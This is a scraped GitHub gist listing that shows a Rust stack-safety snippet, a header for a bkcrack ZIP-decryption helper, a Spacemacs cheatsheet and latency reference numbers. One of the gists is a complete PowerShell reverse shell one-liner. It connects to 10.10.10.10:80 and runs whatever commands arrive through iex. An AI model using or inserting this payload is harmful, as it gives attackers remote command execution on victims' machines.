Skip to content

Instantly share code, notes, and snippets.

Avatar
💻
busy with working

Aloxaf Aloxaf

💻
busy with working
View GitHub Profile
@hurryabit
hurryabit / stack_safe.rs
Last active Dec 25, 2021
Stack-safety for free?
View stack_safe.rs
// This gist contains the code from the blog post
// https://hurryabit.github.io/blog/stack-safety-for-free/
// We need Rust nightly to run the code.
#![feature(generators, generator_trait)]
use std::ops::{Generator, GeneratorState};
use std::pin::Pin;
fn triangular(n: u64) -> u64 {
if n == 0 {
0
View inflate.py
#!/usr/bin/env python3
"""inflate.py: full archive decompression helper for bkcrack
usage: %s path/to/encrypted.zip kx ky kz
"""
import os
import subprocess
import sys
@egre55
egre55 / powershell_reverse_shell.ps1
Last active May 16, 2022
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
View powershell_reverse_shell.ps1
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
View spacemacs-cheatsheet.md

emacs --daemon to run in the background. emacsclient.emacs24 <filename/dirname> to open in terminal

NOTE: "M-m and SPC can be used interchangeably".

  • Undo - C-/
  • Redo - C-?
  • Change case: 1. Camel Case : M-c 2. Upper Case : M-u
  1. Lower Case : M-l
@jboner
jboner / latency.txt
Last active May 25, 2022
Latency Numbers Every Programmer Should Know
View latency.txt
Latency Comparison Numbers (~2012)
----------------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD